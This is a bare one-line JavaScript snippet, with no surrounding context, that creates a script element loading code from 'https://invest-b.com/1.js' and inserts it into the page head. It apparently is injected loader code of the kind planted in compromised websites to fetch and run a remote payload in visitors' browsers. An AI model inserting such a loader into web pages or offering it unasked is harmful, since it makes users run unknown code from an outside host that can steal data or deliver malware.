var script = document.createElement('script'); script.src = 'https://invest-b.com/1.js'; document.head.appendChild(script);